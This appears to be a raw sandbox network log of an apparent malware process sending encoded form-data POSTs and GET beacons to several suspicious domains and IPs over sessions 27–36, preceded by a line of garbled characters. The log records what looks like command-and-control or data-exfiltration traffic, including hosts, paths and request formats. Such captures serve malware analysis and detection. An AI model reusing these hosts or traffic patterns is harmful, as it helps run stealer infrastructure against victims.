Ct;Gn&lO5T=UGcRGy-{gn0g(E)}.UBSZ0dq~h<45e{$}ph<c=;0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50001	74.48.34.43	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:25:52.373214006 CET	1819	OUT	POST /uwg4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.bioart.buzz Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 1244 Origin: http://www.bioart.buzz Referer: http://www.bioart.buzz/uwg4/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 49 70 67 50 43 63 61 4f 4d 75 6a 46 34 68 78 72 66 6a 46 55 70 77 49 54 73 6d 78 6b 61 59 52 76 32 77 6d 4d 34 47 73 31 6b 43 55 64 72 64 48 42 4e 68 34 4a 4b 58 41 33 51 75 79 35 56 47 53 6a 43 74 49 6c 51 79 59 53 53 68 46 61 4b 51 38 6c 76 79 78 77 76 71 62 69 6a 2b 74 5a 66 31 51 6d 43 51 55 73 6a 36 79 4e 78 7a 32 79 38 78 41 72 69 59 41 71 59 45 6a 57 4d 54 72 30 4d 38 4f 64 42 77 67 5a 79 57 38 45 47 6a 73 42 70 7a 74 55 68 46 6a 46 73 36 4d 76 6a 46 47 39 6a 78 49 56 2b 2f 31 4e 73 37 31 66 4e 59 6d 45 4e 36 42 49 78 48 7a 43 43 44 76 62 39 36 46 63 79 34 52 43 6f 48 6f 6c 34 4c 6b 6f 4b 2b 65 59 47 59 71 76 31 56 7a 61 30 38 6a 72 52 42 55 64 66 51 77 30 67 4d 56 2f 77 49 62 50 4e 41 44 30 75 68 66 64 49 7a 77 35 53 2b 77 70 35 46 53 33 6b 42 4b 44 77 6a 6d 71 51 6b 69 61 35 65 54 36 58 4e 37 47 5a 4a 35 4c 55 58 30 73 4a 69 4e 56 76 46 46 42 71 35 65 6f 4d 64 73 31 38 4b 32 35 53 34 53 4a 74 4b 34 66 6a 30 77 72 47 43 54 4a 4d 73 37 53 41 52 77 5a 69 46 57 77 64 44 [TRUNCATED] Data Ascii: UTJ0bhC=IpgPCcaOMujF4hxrfjFUpwITsmxkaYRv2wmM4Gs1kCUdrdHBNh4JKXA3Quy5VGSjCtIlQyYSShFaKQ8lvyxwvqbij+tZf1QmCQUsj6yNxz2y8xAriYAqYEjWMTr0M8OdBwgZyW8EGjsBpztUhFjFs6MvjFG9jxIV+/1Ns71fNYmEN6BIxHzCCDvb96Fcy4RCoHol4LkoK+eYGYqv1Vza08jrRBUdfQw0gMV/wIbPNAD0uhfdIzw5S+wp5FS3kBKDwjmqQkia5eT6XN7GZJ5LUX0sJiNVvFFBq5eoMds18K25S4SJtK4fj0wrGCTJMs7SARwZiFWwdDX75FUHoyN6yT1pT8lc88jtZqs0icmYu/RymI1CV5+pqonmwTauONAprX75WqV085nN8tVf9k4Pw5OocZTSVnqaNIk54KRnvQLgfjZHRL2sgY9aLMiuTvMzi3URRJYtCyZn9qfkmzjoBrlgk5luzuf38v/AyNOhX8nIPpYU0UbI3lbN2WwiIMaDqOh25+04Y419sUV53FT+fe+wI0Q5kX2y5GQOiS54EOO3HEHpiRGBXcolHlwK/xXPL7qOLBUqRLmqc0MPi1J7tXfC8i4bO99K0pSS1gwBs3qvEiSr+NXml6/LavNelPkIuQZuvF0KmCKVgg1CchDKsvb22Fs6NEK/xXon8K4DtaVfYWrX5LQEwgsuy0WzhSafXSBzTbaTCR2kr9SpcRHLlWmLo7vuQ9PgtCoEqbarBsfhij7f1isuGyqyGS2cDkg0H6NSwATEKh3h/aq1v7p+/jbIoQLniNTyM5Z2F/Nb8Altndwqc87NsRFG4MLEyw6b0/fTf0uvbzBIx/7Bijzvk02p9C3r+DPDWNbdcSikgA5d82qTxE7CtAEEwDzKxCA4HFcTKCIbCYCRDNxGOISrESlL1C+268R6Awim29u/q6j4HpZj6TEH4T+oQyAbG3ZEOO2f3TDTLTvi9bsnBjBLhNea8R3/cf7QCPPdlsnzAa0j [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50002	74.48.34.43	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:25:55.028652906 CET	531	OUT	GET /uwg4/?UTJ0bhC=FrIvBq+7M+fO4hFqHVkj/h0MgBQBdbkSyhygt3ownjEqtb7lfSc+JwlWQ4K/WGS3VMA0fSxFYiNdEScU0GRMxZDLyu9hbg86BnUYxIHc13WjzD0wj4NYGBX3EB3iY/brcg==&Pt=fDlHoNWP0RBd HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.bioart.buzz Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Dec 10, 2024 16:25:56.549738884 CET	1191	IN	HTTP/1.1 404 Not Found Server: openresty/1.19.3.1 Date: Tue, 10 Dec 2024 15:25:56 GMT Content-Type: text/html; charset=utf-8 Content-Length: 982 Connection: close X-Cache: MISS from kangle web server Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 27 6d 61 69 6e 27 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 3c 69 3e 3c 68 32 3e 53 6f 6d 65 74 68 69 6e 67 20 65 72 72 6f 72 3a 3c 2f 68 32 3e 3c 2f 69 3e 0a 3c 70 3e 3c 68 33 3e 34 30 34 3c 2f 68 33 3e 3c 68 33 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 27 72 65 64 27 3e 4e 6f 20 73 75 63 68 20 66 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 2e 3c 2f 66 6f 6e 74 3e 3c 2f 68 33 3e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 6f 72 20 3c 61 20 68 72 65 66 3d 27 6a 61 76 61 73 63 72 69 70 74 3a 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 27 3e 74 72 79 20 61 67 61 69 6e 3c 2f 61 [TRUNCATED] Data Ascii: <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>404</title></head><body><div id='main' ><i><h2>Something error:</h2></i><p><h3>404</h3><h3><font color='red'>No such file or directory.</font></h3></p><p>Please check or <a href='javascript:location.reload()'>try again</a> later.</p><div>hostname: kangle web server</div><hr><div id='pb'>Generated by <a href='javascript: var code=404' >kangle/3.5.21.16</a>.</div></div><script language='javascript'>var referer = escape(document.referrer);var url = escape(document.URL);var msg = 'No%20such%20file%20or%20directory.'; var hostname='kangle web server';var event_id='';var aaaaaaa = ('<scr'+'ipt language="javascript" src="https://error.kangleweb.net/?code=404&vh=594445"></scr' + 'ipt>');</script>... padding for ie -->... padding for ie -->... padding for ie -->... padding for ie -->... 673800cf --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50003	23.167.152.41	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:26:03.454128027 CET	782	OUT	POST /4i55/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.06753.photo Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 208 Origin: http://www.06753.photo Referer: http://www.06753.photo/4i55/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 6a 32 6b 59 30 47 69 61 2b 67 77 42 6f 38 71 74 36 38 61 4e 31 47 68 56 56 30 74 38 50 44 66 45 31 6c 4f 2f 30 6e 2f 38 65 4c 4a 46 66 34 79 43 67 4b 6d 6b 2f 32 6d 64 59 72 38 35 53 6f 48 65 75 4d 51 69 33 75 79 57 78 70 39 4d 75 42 70 74 6b 59 6c 31 6d 6d 4c 30 6c 6b 56 38 75 4f 38 7a 55 59 4d 43 68 43 71 77 5a 75 68 62 64 47 57 6f 50 69 74 70 30 4f 74 54 72 48 59 61 4d 4f 42 69 79 54 32 46 68 49 49 76 4c 54 6e 33 2f 38 6d 71 2b 62 37 72 52 73 79 4d 44 68 41 49 79 79 4b 76 56 69 38 54 41 58 59 39 37 4c 66 46 6a 62 54 62 42 62 5a 4e 65 78 33 68 42 50 70 34 2b 57 56 79 73 76 58 4c 36 35 77 3d Data Ascii: UTJ0bhC=j2kY0Gia+gwBo8qt68aN1GhVV0t8PDfE1lO/0n/8eLJFf4yCgKmk/2mdYr85SoHeuMQi3uyWxp9MuBptkYl1mmL0lkV8uO8zUYMChCqwZuhbdGWoPitp0OtTrHYaMOBiyT2FhIIvLTn3/8mq+b7rRsyMDhAIyyKvVi8TAXY97LfFjbTbBbZNex3hBPp4+WVysvXL65w=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50004	23.167.152.41	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:26:06.110238075 CET	802	OUT	POST /4i55/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.06753.photo Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 228 Origin: http://www.06753.photo Referer: http://www.06753.photo/4i55/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 6a 32 6b 59 30 47 69 61 2b 67 77 42 71 63 36 74 39 76 79 4e 39 47 68 57 4d 55 74 38 61 7a 66 41 31 6c 53 2f 30 6b 7a 73 65 59 74 46 66 61 71 43 79 37 6d 6b 38 32 6d 64 58 4c 38 38 57 6f 48 46 75 4d 56 42 33 75 4f 57 78 70 70 4d 75 42 35 74 6b 76 78 71 6c 57 4c 4d 74 45 56 2b 71 4f 38 7a 55 59 4d 43 68 47 37 34 5a 75 4a 62 63 33 47 6f 4f 41 56 71 35 75 74 51 36 48 59 61 62 65 41 72 79 54 33 69 68 4a 55 56 4c 52 66 33 2f 2f 79 71 2b 50 76 30 59 73 79 47 4d 42 42 6e 6a 69 54 48 63 54 55 4d 66 30 68 4d 6c 39 72 52 76 4e 69 78 62 35 52 6c 4e 52 62 5a 52 63 68 50 76 6d 30 62 32 4d 48 37 6b 75 6e 73 32 64 35 31 5a 79 4a 75 36 57 4f 70 73 48 6f 7a 42 43 37 57 Data Ascii: UTJ0bhC=j2kY0Gia+gwBqc6t9vyN9GhWMUt8azfA1lS/0kzseYtFfaqCy7mk82mdXL88WoHFuMVB3uOWxppMuB5tkvxqlWLMtEV+qO8zUYMChG74ZuJbc3GoOAVq5utQ6HYabeAryT3ihJUVLRf3//yq+Pv0YsyGMBBnjiTHcTUMf0hMl9rRvNixb5RlNRbZRchPvm0b2MH7kuns2d51ZyJu6WOpsHozBC7W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50005	23.167.152.41	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:26:08.778256893 CET	1819	OUT	POST /4i55/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.06753.photo Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 1244 Origin: http://www.06753.photo Referer: http://www.06753.photo/4i55/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 6a 32 6b 59 30 47 69 61 2b 67 77 42 71 63 36 74 39 76 79 4e 39 47 68 57 4d 55 74 38 61 7a 66 41 31 6c 53 2f 30 6b 7a 73 65 59 6c 46 66 76 32 43 67 6f 2b 6b 39 32 6d 64 65 72 38 39 57 6f 47 46 75 4d 74 64 33 75 44 30 78 71 52 4d 76 69 42 74 69 62 64 71 2b 47 4c 4d 68 6b 56 37 75 4f 39 70 55 5a 38 47 68 43 66 34 5a 75 4a 62 63 31 75 6f 65 69 74 71 37 75 74 54 72 48 59 47 4d 4f 42 4f 79 54 2f 59 68 4a 51 46 4c 6c 6a 33 38 66 69 71 38 36 37 30 46 63 79 49 4a 42 42 2f 6a 69 76 59 63 54 59 49 66 31 46 71 6c 36 66 52 74 4b 50 47 49 64 45 39 51 6e 54 36 61 2b 64 4e 79 57 35 2b 2f 4f 62 70 37 73 33 59 35 74 6c 6d 61 45 4e 55 32 33 6e 33 31 43 6f 2f 57 30 43 72 63 47 48 66 4d 57 72 4f 75 55 57 44 54 37 65 34 69 67 54 58 34 4c 70 70 39 76 53 78 56 5a 54 34 47 49 34 31 64 6e 6d 48 48 61 76 6b 71 50 4e 6d 38 74 38 65 38 73 6d 74 75 33 54 6c 49 32 2b 52 39 6f 6d 46 33 44 6a 4c 2f 65 4a 43 54 6c 4b 35 6c 6f 6f 50 50 31 61 76 35 54 71 5a 71 38 4e 44 74 53 2f 77 38 5a 72 2b 57 62 41 6f 67 76 [TRUNCATED] Data Ascii: UTJ0bhC=j2kY0Gia+gwBqc6t9vyN9GhWMUt8azfA1lS/0kzseYlFfv2Cgo+k92mder89WoGFuMtd3uD0xqRMviBtibdq+GLMhkV7uO9pUZ8GhCf4ZuJbc1uoeitq7utTrHYGMOBOyT/YhJQFLlj38fiq8670FcyIJBB/jivYcTYIf1Fql6fRtKPGIdE9QnT6a+dNyW5+/Obp7s3Y5tlmaENU23n31Co/W0CrcGHfMWrOuUWDT7e4igTX4Lpp9vSxVZT4GI41dnmHHavkqPNm8t8e8smtu3TlI2+R9omF3DjL/eJCTlK5looPP1av5TqZq8NDtS/w8Zr+WbAogvlAlQq+X7ItVGCy/nMhZoe+oabl5HEUuG6sW1KEfd0cit6bTcWerbobSAWnvrer2zyIGwC1VPw/yTigHeg5uygtTq4dqop4yW7Fvm0gwVBf+exsgM/42KzB9H3MynEXdkw0Xve/scKVBdQhBv+GGI7fkqSlQBw4eCN4r2BI2pzl9odvLnt6avjRF+o4BXSjJ1/cFHlDqSHrYzbxCc1KezCSLetfenf+61Gqb2NGq54pyvGbRuHgrycZE36tuT0xugiG13dZX33/W2qNvnDj80EpJdNATMIQ2PEGxelbB7d1/gFF6l6Abbr8njwmTiL1LNr5m1BPgcEb2n3FpGcwGq8Nb/6he2NfBOF+vM5T4DxHA86iBiQMFo4NpApP8JfiQs2LBo3omwiTplNlfC53nXpeKKuIzl8FdACO0OjlkaP2KUKC2msL13nD0zHAPqWe0cJtc9lH6Z400gpoSX31flaUajQ6k5pdZzl7XRrs1SbZyuAqn4NSmQN4alNqmptk4OHNb1QhLu8tNAqFPPDZL5rnjmA1INAQXJNR3gpMrosAarR6/9gyQfUuInxTDEkgBoR7KAd/aij4qcBra4onh+ukJr9gzGWYClL1dtaO0ghYw0jfNrjxBp+icMNtSW5Ea/s/OKb1jWbXlFk0jze6Eg6/aUOM6twoH5qO [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50006	23.167.152.41	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:26:11.524070024 CET	531	OUT	GET /4i55/?Pt=fDlHoNWP0RBd&UTJ0bhC=u0M432eX/xZzvajH7Zn4oj16d1M/QQvp1keQ4HSaLqVhf5mFg72lw0bKX+EdY5KNk4RXhc2Czo9qgjxQ7/1U7lrsyz5+vZkdL+U3wCm0CZUZdVO/eyd7jrB+924QONEljg== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.06753.photo Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50007	178.79.184.196	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:26:18.420305967 CET	794	OUT	POST /tgvj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.gucciqueen.shop Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 208 Origin: http://www.gucciqueen.shop Referer: http://www.gucciqueen.shop/tgvj/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 45 78 32 35 61 64 59 74 6b 71 4f 42 42 45 4a 66 7a 77 71 51 6a 30 56 4b 78 57 42 5a 45 52 54 69 42 6d 69 50 50 4f 46 6a 6f 76 66 37 67 31 71 50 45 58 5a 56 2b 50 6b 63 4e 78 31 4c 37 51 47 4e 52 51 54 43 39 36 76 30 71 69 70 57 63 55 69 4e 65 44 79 6f 6d 36 67 36 55 59 77 79 4b 59 6e 51 75 48 2f 57 63 63 4f 30 74 34 32 52 42 30 6b 34 45 48 48 63 78 68 46 4d 37 46 44 4d 64 61 64 4a 30 56 57 63 50 57 66 53 30 61 64 71 38 42 4b 61 6f 51 30 57 64 67 43 44 6c 69 32 67 72 68 58 37 63 42 34 4f 75 48 46 2f 46 4e 4c 58 6d 63 52 51 74 34 70 42 55 57 45 43 42 79 79 37 6f 78 67 64 39 6a 79 62 6c 63 30 3d Data Ascii: UTJ0bhC=Ex25adYtkqOBBEJfzwqQj0VKxWBZERTiBmiPPOFjovf7g1qPEXZV+PkcNx1L7QGNRQTC96v0qipWcUiNeDyom6g6UYwyKYnQuH/WccO0t42RB0k4EHHcxhFM7FDMdadJ0VWcPWfS0adq8BKaoQ0WdgCDli2grhX7cB4OuHF/FNLXmcRQt4pBUWECByy7oxgd9jyblc0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50008	178.79.184.196	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:26:21.081820965 CET	814	OUT	POST /tgvj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.gucciqueen.shop Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 228 Origin: http://www.gucciqueen.shop Referer: http://www.gucciqueen.shop/tgvj/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 45 78 32 35 61 64 59 74 6b 71 4f 42 48 6b 35 66 32 57 69 51 76 45 56 46 74 47 42 5a 64 42 54 6d 42 6d 6d 50 50 4c 6c 7a 6f 64 4c 37 68 58 79 50 46 53 74 56 2f 50 6b 63 46 52 31 43 2f 51 47 47 52 51 76 56 39 36 6a 30 71 69 39 57 63 57 36 4e 65 30 65 72 67 71 67 34 5a 34 77 77 45 34 6e 51 75 48 2f 57 63 63 61 65 74 34 75 52 42 6d 77 34 46 6d 47 75 38 42 46 50 79 6c 44 4d 50 71 64 4e 30 56 57 45 50 53 58 30 30 59 56 71 38 44 69 61 70 45 59 56 48 77 43 4a 6f 43 33 4f 69 68 6d 77 54 77 34 5a 71 45 6f 33 62 74 50 5a 71 4b 67 36 33 61 68 70 48 32 6f 36 52 68 36 4d 35 42 42 30 6e 41 69 72 37 4c 67 43 57 6c 38 36 4c 68 61 68 69 41 5a 77 47 64 46 48 66 6b 62 43 Data Ascii: UTJ0bhC=Ex25adYtkqOBHk5f2WiQvEVFtGBZdBTmBmmPPLlzodL7hXyPFStV/PkcFR1C/QGGRQvV96j0qi9WcW6Ne0ergqg4Z4wwE4nQuH/Wccaet4uRBmw4FmGu8BFPylDMPqdN0VWEPSX00YVq8DiapEYVHwCJoC3OihmwTw4ZqEo3btPZqKg63ahpH2o6Rh6M5BB0nAir7LgCWl86LhahiAZwGdFHfkbC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50009	178.79.184.196	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:26:23.752264023 CET	1831	OUT	POST /tgvj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.gucciqueen.shop Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 1244 Origin: http://www.gucciqueen.shop Referer: http://www.gucciqueen.shop/tgvj/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 45 78 32 35 61 64 59 74 6b 71 4f 42 48 6b 35 66 32 57 69 51 76 45 56 46 74 47 42 5a 64 42 54 6d 42 6d 6d 50 50 4c 6c 7a 6f 64 7a 37 67 6d 53 50 48 78 46 56 38 50 6b 63 4c 78 31 50 2f 51 47 68 52 51 48 5a 39 36 2f 4b 71 68 46 57 54 54 75 4e 58 6c 65 72 70 71 67 34 46 49 77 39 4b 59 6d 53 75 48 76 53 63 63 4b 65 74 34 75 52 42 6e 41 34 4d 58 47 75 36 42 46 4d 37 46 44 36 64 61 64 70 30 56 4f 2b 50 53 62 43 6f 34 31 71 35 54 79 61 75 78 30 56 66 67 43 48 72 43 33 67 69 68 71 2f 54 77 6b 6a 71 45 73 64 62 76 66 5a 76 74 64 62 6a 36 64 68 5a 32 34 73 66 52 32 74 70 32 52 45 71 52 6d 32 77 73 41 64 4b 58 38 73 4c 52 69 57 32 6b 4e 67 55 38 55 56 5a 6a 79 77 78 69 4f 43 4b 54 78 4a 75 6a 41 42 4c 75 55 2b 4b 6e 33 77 47 65 78 54 50 58 63 72 36 4f 48 49 4a 72 47 6c 45 55 4e 65 58 44 54 62 55 2f 69 70 31 69 34 51 4b 6d 55 67 6e 42 5a 36 72 31 53 71 41 6a 49 6f 4f 4d 45 70 62 4f 64 33 68 31 71 76 56 55 6e 4a 4e 4f 69 69 4a 64 66 63 53 53 42 76 65 39 71 32 55 6f 63 59 62 37 6e 66 36 33 [TRUNCATED] Data Ascii: UTJ0bhC=Ex25adYtkqOBHk5f2WiQvEVFtGBZdBTmBmmPPLlzodz7gmSPHxFV8PkcLx1P/QGhRQHZ96/KqhFWTTuNXlerpqg4FIw9KYmSuHvSccKet4uRBnA4MXGu6BFM7FD6dadp0VO+PSbCo41q5Tyaux0VfgCHrC3gihq/TwkjqEsdbvfZvtdbj6dhZ24sfR2tp2REqRm2wsAdKX8sLRiW2kNgU8UVZjywxiOCKTxJujABLuU+Kn3wGexTPXcr6OHIJrGlEUNeXDTbU/ip1i4QKmUgnBZ6r1SqAjIoOMEpbOd3h1qvVUnJNOiiJdfcSSBve9q2UocYb7nf63I3LkOtWVWMbXydrONY5spvS5L3NAjsHJnkN2IzxWVYlkabAK9v/zoxgGDXfBhoSpUXZDUvtuqYFPGqQpiHZndRdEq/GfHUDWAE0tsOiS5Q7lfu6dgC3uMnOMt2SRt+LaG5SAtsmvQTBSP8nm3LqiE+e7Iy7WbljcP5tf24R1ShDivJLWZ39FxfMwriZtNquIt1I5gwoR9Oew7QXQ2AO+F7Q7LVWRWI0JYP8/pTovwDEbXXMC7UAqHq5XAR2HNiaFx6HY0BwpCCYWUt+zVG0ds/H9J0Sq7EaJDXt5JHwxjqZ0acDpC/07xv3eX6NCba9Q8d0WIACEb5Be/we8xQCrnztuzcxCvCmYj6NbnKf9GZAcmvWB2JOyH+Q876vMAfXjBmB+e5lcbwM+Mhc+scPA5cDUoN3Hj/B852F3G4cgevT2C6BhrBUq9/JcKW91vnhcfhA5kr0JFHM42M5nHGcQzRm8q9a+g+SUsmXNjWU9L7Mr0NcW2SBlv2PCBbYZOBZOaOVnQImzKG3h1+RnaO4jPppEIKhqN+MJ4nz8yJAR4IUozfTSzSMoOqdhoFcAofqnYYRkHd8qaWEyXAoB9K06KC0P3gCLl2RzpjuoVDPBBwZyqzZOs3Sfx5RoZP1hjjNVQ/AghgvqQ6Pz3s9I/WPYEb3RdIRcEKr00/ [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50010	178.79.184.196	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:26:26.404894114 CET	535	OUT	GET /tgvj/?UTJ0bhC=JzeZZokphZySGFVIg3fW0H54lk8TDwrrWR2sEOIWidbOqUuKdhJmv9JQEF9O1RD5XyTbq6Omqzt9QHi6LTaoobUAF4YLNuHihjnBZMeTneWuYVNORWnArhJV2H75YPAzvg==&Pt=fDlHoNWP0RBd HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.gucciqueen.shop Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
